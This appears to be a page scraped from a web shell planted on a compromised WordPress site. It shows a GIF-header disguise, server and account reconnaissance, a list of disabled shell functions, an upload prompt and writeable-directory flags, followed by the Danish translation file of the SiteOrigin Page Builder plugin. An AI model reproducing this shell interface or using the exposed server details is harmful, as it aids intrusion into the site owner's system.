GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/siteorigin-panels-da_DK.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.5\n"
"Project-Id-Version: Page Builder\n"
"Language: da\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"

#: inc/admin-actions.php:80
msgid "No description"
msgstr "Ingen beskrivelse"

#. A prebuilt layout is essentially a complete visual layout that was pre created.
#: inc/admin-actions.php:89
msgid "Your theme doesn't have any prebuilt layouts."
msgstr "Dit tema har ingen forudbyggede layouts."

#: inc/admin-actions.php:90
msgid "You can still clone existing pages though."
msgstr "Du kan dog stadig klone en af de eksisterende sider."

#: inc/admin-actions.php:123
msgid "Clone"
msgstr "Klon"

#: inc/admin-actions.php:141
msgid "There are no %s with Page Builder content to clone."
msgstr "Der er ingen %s med Page Builder indhold som du kan klone."

#: inc/default-styles.php:57
msgid "Row Class"
msgstr "Række klasse"

#. A CSS class is something to describe an HTML element.
#: inc/default-styles.php:60 inc/default-styles.php:165
msgid "A CSS class"
msgstr "En CSS klasse"

#: inc/default-styles.php:65
msgid "Cell Class"
msgstr "Celle klasse"

#: inc/default-styles.php:68
msgid "Class added to all cells in this row."
msgstr "Klasse tilføjet alle celler i denne række."

#: inc/default-styles.php:73 inc/default-styles.php:170
msgid "CSS Styles"
msgstr "CSS stiler"

#: inc/default-styles.php:76 inc/default-styles.php:173
msgid "CSS Styles, given as one per row."
msgstr "CSS stiler, angivet som en per række."

#. The amount of spacing below a row. This comes from the concept of a text margin.
#: inc/default-styles.php:83
msgid "Bottom Margin"
msgstr "Nederste Margin"

#: inc/default-styles.php:86
msgid "Space below the row."
msgstr "Afstand under denne række"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: inc/default-styles.php:91
msgid "Gutter"
msgstr "Gitter afstand"

#: inc/default-styles.php:94
msgid "Amount of space between columns."
msgstr "Mængden af afstand mellem kolonner."

#. This is essentially the amount of padding, or amount of space around a widget or row.
#: inc/default-styles.php:99 inc/default-styles.php:178
msgid "Padding"
msgstr "Indvendig afstand"

#: inc/default-styles.php:102
msgid "Padding around the entire row."
msgstr "Indvendig afstand omkring hele rækken."

#: inc/default-styles.php:107
msgid "Row Layout"
msgstr "Række layout"

#: inc/default-styles.php:111
msgid "Standard"
msgstr "Standard"

#: inc/default-styles.php:112
msgid "Full Width"
msgstr "Fuld bredde"

#. This means the row is displayed the full width of the page and the content is also stretched.
#: inc/default-styles.php:113
msgid "Full Width Stretched"
msgstr "Fuld bredde udstrukket"

#: inc/default-styles.php:121 inc/default-styles.php:188
msgid "Background Color"
msgstr "Baggrund farve"

#: inc/default-styles.php:124
msgid "Background color of the row."
msgstr "Rækkens baggrund farve."

#: inc/default-styles.php:129 inc/default-styles.php:196
msgid "Background Image"
msgstr "Baggrundsbillede"

#: inc/default-styles.php:132
msgid "Background image of the row."
msgstr "Rækkens baggrundsbillede."

#: inc/default-styles.php:137 inc/default-styles.php:204
msgid "Background Image Display"
msgstr "Vis baggrundsbillede"

#: inc/default-styles.php:141 inc/default-styles.php:208
msgid "Tiled Image"
msgstr "Billeder flisebelagt"

#: inc/default-styles.php:142 inc/default-styles.php:209
msgid "Cover"
msgstr "Dæk"

#: inc/default-styles.php:143 inc/default-styles.php:210
msgid "Centered, with original size"
msgstr "Midterstillet med original størrelse"

#: inc/default-styles.php:145 inc/default-styles.php:212
msgid "How the background image is displayed."
msgstr "Sådan vises baggrundsbilledet."

#: inc/default-styles.php:150 inc/default-styles.php:217
msgid "Border Color"
msgstr "Ramme farve"

#: inc/default-styles.php:153
msgid "Border color of the row."
msgstr "Rækkens ramme farve."

#: inc/default-styles.php:162
msgid "Widget Class"
msgstr "Widget klasse"

#: inc/default-styles.php:181
msgid "Padding around the entire widget."
msgstr "Indvendig afstand omkring hele denne widget."

#: inc/default-styles.php:191
msgid "Background color of the widget."
msgstr "Denne widgets baggrundsfarve."

#: inc/default-styles.php:199
msgid "Background image of the widget."
msgstr "Denne widgets baggrundsbillede."

#: inc/default-styles.php:220
msgid "Border color of the widget."
msgstr "Denne widgets rammefarve."

#: inc/default-styles.php:225
msgid "Font Color"
msgstr "Skrifttype farve"

#: inc/default-styles.php:228
msgid "Color of text inside this widget."
msgstr "Tekstfarve i denne widget."

#: inc/plugin-activation.php:7 inc/plugin-activation.php:8
msgid "Install Page Builder Plugin"
msgstr "Installer Page Builder Plugin"

#: inc/plugin-activation.php:74
msgid "Installing %s"
msgstr "Installerer %s"

#: inc/revisions.php:50
msgid "Page Builder Content"
msgstr "Page Builder Indhold"

#: inc/styles.php:16
msgid "Row Styles"
msgstr "Række stile"

#: inc/styles.php:20
msgid "Widget Styles"
msgstr "Widget stile"

#: inc/styles.php:42
msgid "Attributes"
msgstr "Attributter"

#: inc/styles.php:46 settings/settings.php:225
msgid "Layout"
msgstr "Layout"

#: inc/styles.php:50
msgid "Design"
msgstr "Design"

#: inc/styles.php:60
msgid "Theme"
msgstr "Tema"

#: inc/styles.php:179
msgid "Select Image"
msgstr "Vælg et billede"

#: inc/styles.php:183
msgid "Remove"
msgstr "Fjern"

#: inc/styles.php:197 settings/settings.php:313
msgid "Enabled"
msgstr "Aktiver"

#: inc/widgets-bundle.php:7
msgid "SiteOrigin Button"
msgstr "SiteOrigin knap"

#: inc/widgets-bundle.php:8 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "En simpel knap"

#: inc/widgets-bundle.php:11 inc/widgets-bundle.php:23
#: inc/widgets-bundle.php:35 inc/widgets-bundle.php:47
#: inc/widgets-bundle.php:59 inc/widgets.php:126
msgid "SiteOrigin Widgets Bundle"
msgstr "SiteOrigin Widgets Pakke"

#: inc/widgets-bundle.php:19
msgid "SiteOrigin Image"
msgstr "SiteOrigin billede"

#: inc/widgets-bundle.php:20
msgid "Choose images from your media library."
msgstr "Vælg et billede fra billedbiblioteket."

#: inc/widgets-bundle.php:31
msgid "SiteOrigin Slider"
msgstr "SiteOrigin Lysbilleder"

#: inc/widgets-bundle.php:32
msgid "A basic slider widget."
msgstr "En basis widget med lysbilleder."

#: inc/widgets-bundle.php:43
msgid "SiteOrigin Features"
msgstr "SiteOrigin muligheder"

#: inc/widgets-bundle.php:44
msgid "Display site features as a collection of icons."
msgstr "Vis sidens muligheder som en samling af ikoner"

#: inc/widgets-bundle.php:55
msgid "SiteOrigin Post Carousel"
msgstr "SiteOrigin indlægskarusel"

#: inc/widgets-bundle.php:56
msgid "Display your posts as a carousel."
msgstr "Vis dine indlæg som en karusel"

#: inc/widgets.php:17
msgid "Visual Editor"
msgstr "Visuel Editor"

#: inc/widgets.php:18
msgid "Arbitrary text or HTML with visual editor"
msgstr "Vilkårlig tekst eller HTML i visuel editor"

#: inc/widgets.php:21
msgid "Black Studio TinyMCE"
msgstr "Black Studio TineMCE"

#: inc/widgets.php:102
msgid "Widgets Bundle"
msgstr "Widgets pakke"

#: inc/widgets.php:132
msgid "Page Builder Widgets"
msgstr "Page Builder Widgets"

#: inc/widgets.php:148
msgid "WordPress Widgets"
msgstr "Wordpress Widgets"

#: inc/widgets.php:158
msgid "WooCommerce"
msgstr "WooCommerce"

#: inc/widgets.php:169
msgid "Jetpack"
msgstr "Jetpack"

#: inc/widgets.php:180
msgid "BBPress"
msgstr "BBPress"

#: inc/widgets.php:188 settings/settings.php:218
msgid "Recommended Widgets"
msgstr "Anbefalede Widgets"

#: settings/settings.php:146 settings/tpl/settings.php:9 tpl/options.php:5
msgid "SiteOrigin Page Builder"
msgstr "SiteOrigin Page Builder"

#: settings/settings.php:146 siteorigin-panels.php:108
#: siteorigin-panels.php:467 tpl/js-templates.php:160
msgid "Page Builder"
msgstr "Page Builder"

#: settings/settings.php:170
msgid "Page Builder Settings"
msgstr "Page Builder indstillinger"

#: settings/settings.php:186 tpl/options.php:11
msgid "General"
msgstr "Generelt"

#: settings/settings.php:192 tpl/options.php:15
msgid "Post Types"
msgstr "Indlægs typer"

#: settings/settings.php:194
msgid "The post types to use Page Builder on."
msgstr "Indlægstypen som du vil benytte Page Builder på."

#: settings/settings.php:200
msgid "Widgets"
msgstr "Widgets"

#: settings/settings.php:206
msgid "Widget Title HTML"
msgstr "Widget titel HTML"

#. Something I forgot to mention is that for this string "{{title}}" shouldn't be translated. The rest of the string can be, but that one part needs to remain as is.
#: settings/settings.php:207
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr "HTML som bliver brugt i widgets titler.  {{title}} bliver erstattet med widget titlen."

#: settings/settings.php:212
msgid "Legacy Bundled Widgets"
msgstr "Originale inkluderede widgets"

#: settings/settings.php:213
msgid "Load legacy widgets from Page Builder 1."
msgstr "Indlæs originale widgets fra Page Builder version 1."

#: settings/settings.php:219
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr "Vis anbefalede widgets i Page Builder tilføj widget dialogen."

#: settings/settings.php:233 tpl/options.php:57
msgid "Responsive Layout"
msgstr "Responsive layout"

#: settings/settings.php:234
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "Sammenfold widgets, rækker og kolonner på mobile enheder."

#: settings/settings.php:240 tpl/options.php:64
msgid "Mobile Width"
msgstr "Bredde mobil enhed"

#: settings/settings.php:241
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "Visnings bredde, i pixel, når der sammenfoldes på mobil enhed."

#: settings/settings.php:247 tpl/options.php:70
msgid "Row Bottom Margin"
msgstr "Rækkens nederste margin"

#: settings/settings.php:248
msgid "Default margin below rows."
msgstr "Standard margin under rækker."

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: settings/settings.php:254
msgid "Row Gutter"
msgstr "Række gitter bredde"

#: settings/settings.php:255
msgid "Default spacing between columns in each row."
msgstr "Standard afstand mellem kolonner i hver række."

#. In this context, the container is an HTML container or wrapper.
#: settings/settings.php:261
msgid "Full Width Container"
msgstr "Indholdsblok i fuld bredde"

#: settings/settings.php:262
msgid "The container used for the full width layout."
msgstr "Indholdsblokken som bruges i layouts med fuld bredde."

#: settings/settings.php:269
msgid "Content"
msgstr "Indhold"

#: settings/settings.php:275 tpl/options.php:25
msgid "Copy Content"
msgstr "Kopier indhold"

#: settings/settings.php:276
msgid "Copy content from Page Builder to post content."
msgstr "Kopier indhold fra Page Builder til indlægget."

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "Søg i indstillinger"

#: settings/tpl/settings.php:29
msgid "Settings Saved"
msgstr "Indstillingerne er gemt"

#: settings/tpl/settings.php:78 tpl/options.php:93
msgid "Save Settings"
msgstr "Gem indstillinger"

#: siteorigin-panels.php:73
msgid "Custom Home Page Builder"
msgstr "Byg en unik hjemmeside"

#: siteorigin-panels.php:74 siteorigin-panels.php:140
msgid "Home Page"
msgstr "Hjemmeside"

#: siteorigin-panels.php:263
msgid "All Widgets"
msgstr "Alle widgets"

#: siteorigin-panels.php:274
msgid "Missing Widget"
msgstr "Manglende widget"

#: siteorigin-panels.php:275
msgid "Page Builder doesn't know about this widget."
msgstr "Page Builder kender ikke til denne widget."

#: siteorigin-panels.php:279
msgid "%d seconds"
msgstr "%d sekunder"

#: siteorigin-panels.php:281
msgid "%d minutes"
msgstr "%d minutter"

#: siteorigin-panels.php:283
msgid "%d hours"
msgstr "%d timer"

#: siteorigin-panels.php:286
msgid "%d second"
msgstr "%d sekund"

#: siteorigin-panels.php:288
msgid "%d minute"
msgstr "%d minut"

#: siteorigin-panels.php:290
msgid "%d hour"
msgstr "%d time"

#: siteorigin-panels.php:293
msgid "%s before"
msgstr "%s før"

#: siteorigin-panels.php:294
msgid "Now"
msgstr "nu"

#: siteorigin-panels.php:298
msgid "Current"
msgstr "Nuværende"

#: siteorigin-panels.php:299
msgid "Original"
msgstr "Original"

#: siteorigin-panels.php:300
msgid "Version restored"
msgstr "Version er gendannet"

#: siteorigin-panels.php:304
msgid "Widget deleted"
msgstr "Widget er slettet"

#: siteorigin-panels.php:306
msgid "Widget added"
msgstr "Widget er tilføjet"

#: siteorigin-panels.php:308
msgid "Widget edited"
msgstr "Widget er redigeret"

#: siteorigin-panels.php:310
msgid "Widget duplicated"
msgstr "Widget er kopieret"

#: siteorigin-panels.php:312
msgid "Widget moved"
msgstr "Widget er flyttet"

#: siteorigin-panels.php:316
msgid "Row deleted"
msgstr "Rækken er slettet"

#: siteorigin-panels.php:318
msgid "Row added"
msgstr "Rækken er tilføjet"

#: siteorigin-panels.php:320
msgid "Row edited"
msgstr "Rækken er redigeret"

#: siteorigin-panels.php:322
msgid "Row moved"
msgstr "Rækken er flyttet"

#: siteorigin-panels.php:324
msgid "Row duplicated"
msgstr "Rækken er kopieret"

#: siteorigin-panels.php:327
msgid "Cell resized"
msgstr "Cellen er ændret i størrelse"

#: siteorigin-panels.php:330
msgid "Prebuilt layout loaded"
msgstr "Eksisterende layout er indlæst"

#: siteorigin-panels.php:334
msgid "Are you sure you want to overwrite your current content? This can be undone in the builder history."
msgstr "Er du sikker på at du ønsker at overskrive det nuværende indhold? Du kan senetre fortyde dette i historikken."

#: siteorigin-panels.php:335
msgid "Loading prebuilt layout"
msgstr "Indlæs eksisterende layout"

#: siteorigin-panels.php:336
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr "Vil du kopiere det eksisterende indhold til Page Builder?"

#: siteorigin-panels.php:337
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr "Vil du slette Page Builder indholdet og gå tilbage til standard editor?"

#: siteorigin-panels.php:339
msgid "Layout Builder Widget"
msgstr "Layout Builder Widget"

#: siteorigin-panels.php:341 tpl/js-templates.php:85
msgid "Are you sure?"
msgstr "Er du sikker?"

#: siteorigin-panels.php:348
msgid "Page Builder layouts"
msgstr "Page Builder layouts"

#: siteorigin-panels.php:349
msgid "Error uploading or importing file."
msgstr "Der opstod en fejl efter upload eller import."

#: siteorigin-panels.php:395
msgid "Untitled Widget"
msgstr "Unavngiven Widget"

#: siteorigin-panels.php:1140
msgid "Edit Home Page"
msgstr "Rediger hjemmeside"

#: siteorigin-panels.php:1237
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "Gem og genindlæs denne side, for at begynde at bruge denne widget efter du har indstalleret den."

#: siteorigin-panels.php:1321
msgid "Support Forum"
msgstr "Support Forum"

#: siteorigin-panels.php:1322
msgid "Newsletter"
msgstr "Nyhedsbrev"

#: tpl/admin-home-page.php:9
msgid "On"
msgstr "Tændt"

#: tpl/admin-home-page.php:9
msgid "Off"
msgstr "Slukket"

#: tpl/admin-home-page.php:13
msgid "Custom Home Page"
msgstr "Unik Hjemmeside"

#: tpl/admin-home-page.php:45
msgid "Save Home Page"
msgstr "Gem Hjemmeside"

#: tpl/admin-home-page.php:49
msgid "This interface requires Javascript"
msgstr "Denne grænseflade kræver Javascript"

#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "Du kan bruge SiteOrigin Page Builder til at skabe sider og undersider som er fyldt med dine egne widgets."

#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "Denne sides layout er responsiv og kan tilpasses som du ønsker det."

#: tpl/js-templates.php:12
msgid "Add Widget"
msgstr "Tilføj Widget"

#: tpl/js-templates.php:17
msgid "Add Row"
msgstr "Tilføj en række"

#: tpl/js-templates.php:22
msgid "Prebuilt"
msgstr "Skabelon"

#: tpl/js-templates.php:29
msgid "History"
msgstr "Historie"

#: tpl/js-templates.php:34
msgid "Live Editor"
msgstr "Live redigering"

#: tpl/js-templates.php:39
msgid "Switch to Editor"
msgstr "Skift til redigering"

#: tpl/js-templates.php:83 tpl/js-templates.php:256
msgid "Edit Row"
msgstr "Rediger række"

#: tpl/js-templates.php:84
msgid "Duplicate Row"
msgstr "Kopier række"

#: tpl/js-templates.php:85
msgid "Delete Row"
msgstr "Slet række"

#: tpl/js-templates.php:113
msgid "Edit"
msgstr "Rediger"

#: tpl/js-templates.php:114 tpl/js-templates.php:231 tpl/js-templates.php:322
msgid "Duplicate"
msgstr "Kopier"

#: tpl/js-templates.php:115 tpl/js-templates.php:230 tpl/js-templates.php:321
msgid "Delete"
msgstr "Slet"

#: tpl/js-templates.php:169 tpl/js-templates.php:234
msgid "Done"
msgstr "udført"

#: tpl/js-templates.php:183
msgid "Add New Widget %s"
msgstr "Tilføj ny Widget %s"

#: tpl/js-templates.php:187
msgid "Search Widgets"
msgstr "Søg Widgets"

#: tpl/js-templates.php:199
msgid "Close"
msgstr "Luk"

#: tpl/js-templates.php:254
msgid "Add New Row"
msgstr "Tilføj en ny række"

#: tpl/js-templates.php:290
msgid "Left to Right"
msgstr "Fra venstre til højre"

#: tpl/js-templates.php:291
msgid "Right to Left"
msgstr "Fra højre til venstre"

#: tpl/js-templates.php:308
msgid "Set"
msgstr "Indstil"

#: tpl/js-templates.php:327
msgid "Insert"
msgstr "Indsæt"

#: tpl/js-templates.php:329
msgid "Save"
msgstr "Gem"

#: tpl/js-templates.php:347
msgid "Prebuilt Layouts"
msgstr "Layout skabeloner"

#: tpl/js-templates.php:351
msgid "Search"
msgstr "Søg"

#: tpl/js-templates.php:354
msgid "Theme Defined"
msgstr "Defineret tema"

#: tpl/js-templates.php:355
msgid "Import/Export"
msgstr "Import/Eksport"

#: tpl/js-templates.php:361
msgid "Clone: %s"
msgstr "Klon: %s"

#: tpl/js-templates.php:382
msgid "Drop import file here"
msgstr "Slip import filen her"

#: tpl/js-templates.php:383
msgid "Or"
msgstr "Eller"

#: tpl/js-templates.php:386
msgid "Select Import File"
msgstr "Vælg import fil"

#: tpl/js-templates.php:398
msgid "Download Layout"
msgstr "Download layout"

#: tpl/js-templates.php:419
msgid "Page Builder Change History"
msgstr "Page Builder historik"

#: tpl/js-templates.php:433
msgid "Restore Version"
msgstr "Gendan version"

#: tpl/js-templates.php:458
msgid "Close Live Editor"
msgstr "Luk live redigering"

#: tpl/options.php:26
msgid "Copy content from Page Builder into the standard content editor."
msgstr "Kopier indholdet fra Page Builder ind i standard editor."

#: tpl/options.php:32
msgid "Animations"
msgstr "Animationer"

#: tpl/options.php:33
msgid "Disable animations for improved performance."
msgstr "Deaktiver animationer for forbedret ydelse."

#: tpl/options.php:39
msgid "Bundled Widgets"
msgstr "Medfølgende Widgets"

#: tpl/options.php:40
msgid "Include the bundled widgets."
msgstr "Inkluder medfølgende Widegts"

#: tpl/options.php:48
msgid "Display"
msgstr "Vis"

#: tpl/options.php:58
msgid "Should the layout collapse for mobile devices."
msgstr "Skal layoutet tilpasses automatisk på mobile enheder?"

#: tpl/options.php:76
msgid "Cell Side Margins"
msgstr "Cellers side margin"

#: tpl/options.php:82
msgid "Inline CSS"
msgstr "Inline CSS"

#: widgets/basic.php:13
msgid "Layout Builder"
msgstr "Layout Builder"

#: widgets/basic.php:53
msgid "Open Builder"
msgstr "Open Builder"

#: widgets/basic.php:82
msgid "Post Content"
msgstr "Indlæggets indhold"

#: widgets/basic.php:84
#, fuzzy
msgid "Displays content from the current post."
msgstr "Vis noget af indlæggets indhold fra den aktuelle artikel."

#: widgets/basic.php:130 widgets/basic.php:427 widgets/widgets.php:589
#: widgets/widgets.php:764
msgid "None"
msgstr "Ingen"

#: widgets/basic.php:131 widgets/basic.php:355
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/list/list.php:15 widgets/widgets/price-box/price-box.php:15
msgid "Title"
msgstr "Titel"

#: widgets/basic.php:132
msgid "Featured Image"
msgstr "Fremhævet billede"

#: widgets/basic.php:137
msgid "Display Content"
msgstr "Vis indhold"

#: widgets/basic.php:157
msgid "Post Loop"
msgstr "Indholdsløkke"

#: widgets/basic.php:159
msgid "Displays a post loop."
msgstr "Vis en indholdsløkke"

#: widgets/basic.php:349
msgid "Your theme doesn't have any post loops."
msgstr "Dit tema har ingen indholdsløkker"

#: widgets/basic.php:359
msgid "Template"
msgstr "Skabelon"

#: widgets/basic.php:375
msgid "More Link "
msgstr "Mere Link␣"

#: widgets/basic.php:377
msgid "If the template supports it, cut posts and display the more link."
msgstr "Hvis skabelonen tillader det, så afkort indholdet og vis et læs mere link."

#: widgets/basic.php:411 widgets/widgets.php:575
msgid "Post Type"
msgstr "Artikel type"

#: widgets/basic.php:420 widgets/widgets.php:582
msgid "Posts Per Page"
msgstr "Antallet af artikler per side"

#: widgets/basic.php:425 widgets/widgets.php:587
msgid "Order By"
msgstr "Sorter efter"

#: widgets/basic.php:428 widgets/widgets.php:590
msgid "Post ID"
msgstr "Artikel ID"

#: widgets/basic.php:429 widgets/widgets.php:591
msgid "Author"
msgstr "Forfatter"

#: widgets/basic.php:430 widgets/basic.php:431 widgets/widgets.php:592
#: widgets/widgets.php:593 widgets/widgets/testimonial/testimonial.php:15
msgid "Name"
msgstr "Navn"

#: widgets/basic.php:432 widgets/widgets.php:594
msgid "Date"
msgstr "Dato"

#: widgets/basic.php:433 widgets/widgets.php:595
msgid "Modified"
msgstr "Ændret"

#: widgets/basic.php:434 widgets/widgets.php:596
msgid "Parent"
msgstr "Forældre"

#: widgets/basic.php:435 widgets/widgets.php:597
msgid "Random"
msgstr "Tilfældig"

#: widgets/basic.php:436 widgets/widgets.php:598
msgid "Comment Count"
msgstr "Antallet af kommentarer"

#: widgets/basic.php:437 widgets/basic.php:438 widgets/widgets.php:599
msgid "Menu Order"
msgstr "Menu rækkefølge"

#: widgets/basic.php:439
msgid "Post In Order"
msgstr "Artikler sorteret"

#: widgets/basic.php:444 widgets/widgets.php:605
msgid "Order"
msgstr "Sorter"

#: widgets/basic.php:446 widgets/widgets.php:608
msgid "Descending"
msgstr "Faldende"

#: widgets/basic.php:447 widgets/widgets.php:607
msgid "Ascending"
msgstr "Stigende"

#: widgets/basic.php:452 widgets/widgets.php:614
msgid "Sticky Posts"
msgstr "Låst artikel"

#: widgets/basic.php:454 widgets/widgets.php:616 widgets/widgets.php:738
msgid "Default"
msgstr "Standard"

#: widgets/basic.php:455 widgets/widgets.php:617
msgid "Ignore Sticky"
msgstr "Ignorer den låste artikel"

#: widgets/basic.php:456 widgets/widgets.php:618
msgid "Exclude Sticky"
msgstr "Ekskluder den låste artikel"

#: widgets/basic.php:457 widgets/widgets.php:619
msgid "Only Sticky"
msgstr "Kun den låste artikel"

#: widgets/basic.php:462
msgid "Additional "
msgstr "Ekstra"

#: widgets/widgets.php:204
msgid "Style"
msgstr "Stil"

#: widgets/widgets.php:228
msgid "%s Style"
msgstr "%s stil"

#: widgets/widgets.php:625
msgid "Additional Arguments"
msgstr "Yderligere argumenter"

#: widgets/widgets.php:686
msgid "Gallery (PB)"
msgstr "Galleri (PB)"

#: widgets/widgets.php:688
msgid "Displays a gallery."
msgstr "Vises som et galleri"

#: widgets/widgets.php:727
msgid "Gallery Images"
msgstr "Galleri billeder"

#: widgets/widgets.php:728
msgid "edit gallery"
msgstr "Rediger galleri"

#: widgets/widgets.php:732
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "Komma separeret vedhæftningsID. Alle nuværende siders vedhæftninger indstilles."

#: widgets/widgets.php:736
msgid "Image Size"
msgstr "Billede størrelse"

#: widgets/widgets.php:739
msgid "Large"
msgstr "Stor"

#: widgets/widgets.php:740
msgid "Medium"
msgstr "Medium"

#: widgets/widgets.php:741
msgid "Thumbnail"
msgstr "Thumbnail"

#: widgets/widgets.php:742
msgid "Full"
msgstr "Fuld"

#: widgets/widgets.php:750
msgid "Gallery Type"
msgstr "Galleriets type"

#: widgets/widgets.php:755
msgid "Columns"
msgstr "Kolonner"

#: widgets/widgets.php:760
msgid "Link To"
msgstr "Link til"

#: widgets/widgets.php:762
msgid "Attachment Page"
msgstr "Sidevedhæftning"

#: widgets/widgets.php:763
msgid "File"
msgstr "Fil"

#: widgets/widgets.php:781
msgid "Image (PB)"
msgstr "Billede (PB)"

#: widgets/widgets.php:783
msgid "Displays a simple image."
msgstr "Vis et simpelt billede."

#: widgets/widgets.php:816
#: widgets/widgets/animated-image/animated-image.php:15
msgid "Image URL"
msgstr "Billede URL"

#: widgets/widgets.php:820 widgets/widgets/button/button.php:19
msgid "Destination URL"
msgstr "Destinations URL"

#: widgets/widgets.php:834
msgid "Embedded Video (PB)"
msgstr "Indlejret Video (PB)"

#: widgets/widgets.php:836
msgid "Embeds a video."
msgstr "Indlejrer en video"

#: widgets/widgets.php:874
msgid "Video"
msgstr "Video"

#: widgets/widgets.php:890
msgid "Self Hosted Video (PB)"
msgstr "Video på egen server (PB)"

#: widgets/widgets.php:892
msgid "A self hosted video player."
msgstr "Afspil videoer fra egen server."

#: widgets/widgets.php:934
msgid "Video URL"
msgstr "Video URL"

#: widgets/widgets.php:938
msgid "Poster URL"
msgstr "Poster URL"

#: widgets/widgets.php:940
msgid "An image that displays before the video starts playing."
msgstr "Et billede der vises inden videoen afspilles."

#: widgets/widgets.php:945
msgid "Auto Play Video"
msgstr "Afspil video automatisk"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "Animeret billede (PB)"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "Et billede der er animeret når det vises på skærmen."

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "Animation"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "Fade ind"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "Glid op"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "Glid ned"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
msgstr "Glid til venstre"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "Glid til højre"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "Knap (PB)"

#: widgets/widgets/button/button.php:15 widgets/widgets/list/list.php:19
#: widgets/widgets/testimonial/testimonial.php:27
msgid "Text"
msgstr "Tekst"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
#: widgets/widgets/testimonial/testimonial.php:36
msgid "Open In New Window"
msgstr "Åben i et nyt vindue"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "Juster knappen"

#: widgets/widgets/button/button.php:29
msgid "Left"
msgstr "Venstre"

#: widgets/widgets/button/button.php:30
msgid "Right"
msgstr "Højre"

#: widgets/widgets/button/button.php:31
msgid "Center"
msgstr "Center"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "Juster"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "Kald til en handling (PB)"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "En kald til en handling blok"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "Undertitel"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "Knap tekst"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "Knap URL"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "Knap"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr "Lis (PB)"

#: widgets/widgets/list/list.php:8 widgets/widgets/price-box/price-box.php:8
msgid "Displays a bullet list of elements"
msgstr "Viser en liste opsat i punkter"

#: widgets/widgets/list/list.php:20 widgets/widgets/price-box/price-box.php:32
msgid "Start each new point with an asterisk (*)"
msgstr "Begynd hvert nyt punkt med en asterisk (*)"

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr "Pris tabel (PB)"

#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr "Pris"

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr "Per"

#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr "Information tekst"

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr "Egenskaber tekst"

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr "Egenskaber liste"

#: widgets/widgets/testimonial/testimonial.php:6
msgid "Testimonial (PB)"
msgstr "Testimonial (PB)"

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr "Beliggenhed"

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr "Billede"

#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr "URL"

#: siteorigin-panels.php:1254
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr "Widget 1{%1$s} er ikke tilgængelig. Vær venlig at installerer manuelt. Skriv eventuelt på 2{support forums} hvis du behøver hjælp."

#: tpl/js-templates.php:64
